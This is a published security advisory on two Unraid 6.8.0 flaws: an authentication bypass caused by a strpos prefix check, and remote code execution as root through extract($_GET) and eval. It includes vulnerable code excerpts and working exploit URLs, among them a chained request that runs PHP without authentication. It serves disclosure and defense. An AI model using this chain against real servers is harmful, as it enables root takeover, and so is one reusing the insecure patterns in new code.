[CVE-2020-5847 / CVE-2020-5849] Unraid 6.8.0 Unauthenticated Remote Code Execution as root
Unraid is an operating system for personal and small business use that brings enterprise-class features letting you configure your computer systems to maximize performance and capacity using any combination of applications, VMs, storage devices, and hardware. We found an authentication bypass vulnerability that leads to remote code execution as root.Description
Unraid is an operating system for personal and small business use that brings enterprise-class features letting you configure your computer systems to maximize performance and capacity using any combination of applications, VMs, storage devices, and hardware.
Threat
-
Unauthenticated Remote Code Execution (RCE) as root user.
-
Unrestricted access to the entire filesystem, including encrypted disks.
Vulnerability records
CVE ID: CVE-2020-5847 (RCE), CVE-2020-5849 (Authentication Bypass)
Access Vector: network
Security Risk: critical
Vulnerability: CWE-288,CWE-621,CWE-94
CVSS Base Score: 10.0
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Details
Authentication bypass (CWE-288)
In order to check if a web page requires authentication, unraid uses a auth_request.php
file that contains a whitelist.
The file is called by the nginx webserver using the auth_request directive.
If the auth_request.php
page return a 200 HTTP code, it means that the user has access to the resource.
The whitelist is implemented as the following:
$arrWhitelist = [
'/webGui/styles/clear-sans-bold-italic.eot',
[...]
'/webGui/images/green-on.png'
];
foreach ($arrWhitelist as $strWhitelist) {
if (strpos($_SERVER['REQUEST_URI'], $strWhitelist) === 0) {
http_response_code(200);
exit;
}
}
The strpos
function is used to find the first occurrence in a string. It returns 0, only if the substring is a position 0.
However, this function should NOT be used to compare strings. Indeed, if our string contains extra characters, the function will still return 0 as we can see in this example:
php > var_dump(strpos('/webGui/images/green-on.png', '/webGui/images/green-on.png'));
int(0)
php > var_dump(strpos('/webGui/images/green-on.png/EXTRASTRING', '/webGui/images/green-on.png'));
int(0)
In order to bypass authentication, we just need to add an extra character at the end of the requested URI:
http://unraid.lab/webGui/images/green-on.png/
As the nginx configuration file contains the following:
location / {
try_files $uri /webGui/template.php$is_args$args;
}
The /webGui/template.php file is now called, and displays the menu and other sensitive information like the CSRF token that is hardcoded in configuration files.
We can browse most of the pages by simply preprending the requested URI, for exemple:
http://unraid.lab/webGui/images/green-on.png/Settings
http://unraid.lab/webGui/images/green-on.png/Users
http://unraid.lab/webGui/images/green-on.png/Settings
http://unraid.lab/webGui/images/green-on.png/Tools/Syslog
Authentication bypass to arbitrary code execution (CWE-493 / CWE-94)
Now that we can access the /webGui/template.php file without authentication, we can look for other vulnerabilities.
By looking at the source code, something caught our intention:
// Extract the 'querystring'
extract($_GET);
// Need the following to make php-fpm & nginx work
if (empty($path))
$path = substr(explode('?', $_SERVER['REQUEST_URI'])[0], 1);
// The current "task" is the first element of the path
$task = strtok($path, '/');
// Here's the page we're rendering
$myPage = $site[basename($path)];
$pageroot = $docroot.'/'.dirname($myPage['file']);
$update = true; // set for legacy
// Giddyup
require_once "$docroot/webGui/include/DefaultPageLayout.php";
?>
The extract
function is used with the $_GET
user-supplied array.
extract
is like register-globals, but worst. Every key of the array passed as the parameter will be declared as PHP variables. By default, the EXTR_OVERWRITE
flag is used, meaning that already declared variables will be overwritten.
We can now control all variables declared before extract
.
The first variable we tried to overwrite is docroot
as it could allow us to include arbitrary files.
However, this variable is prepended with /webGui/include/DefaultPageLayout.php
, and the default PHP configuration disallow remote inclusions.
By looking at the DefaultPageLayout.php
file content, we found several uses of eval:
empty($page['Markdown']) || $page['Markdown']=='true' ? eval('?>'.Markdown($page['text'])) : eval('?>'.$page['text']);
The $page
variable is used in a foreach loop of the same file:
$view = $myPage['name'];
$pages = [];
if ($myPage['text']) $pages[$view] = $myPage;
[...]
foreach ($pages as $page) {
As we can see, the $page
variable comes from the $pages
loop that uses values from the $myPage
array.
The $myPage
array is declared in the webGui/template.php
file:
$myPage = $site[basename($path)];
Because the extract function is used, $site
and $path
can be controlled by the user.
We finally came up with the following chain, that uses the authentication bypass, the arbitrary variable overwriting and the remote code execution:
http://unraid.lab/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E
As the server is running as root, we now have unrestricted access to the appliance.
Affected versions
- CVE-2020-5849 – Authentication Bypass: 6.8.0
- CVE-2020-5847 – Remote Code Execution: <= 6.8.0
Solution
- Upgrade to Unraid 6.8.1 or later
Timeline (dd/mm/yyyy)
- 04/01/2020: Initial discovery
- 04/01/2020: Message sent to vendor (Lime-Technology) using contact form
- 05/01/2020: Vendor sent email contact information
- 06/01/2020: Sysdream sent responsible disclosure agreement
- 06/01/2020: CVE-2020-5847 and CVE-2020-5849 assigned by MITRE
- 07/01/2020: Lime-Technology accept the responsible disclosure agreement
- 07/01/2020: Vulnerability report sent to Lime-Technology
- 09/01/2020: Sysdream requests for an update
- 09/01/2020: Lime-Technology answer that the vulnerabilities are fixed and a new release will be published soon
- 11/01/2020: Unraid version 6.8.1 released
- 14/01/2020: Sysdream informs Lime-Technology about public disclosure
- 10/02/2020: Public disclosure
Credits
- Nicolas Chatelain, Sysdream (n.chatelain -at- sysdream.com)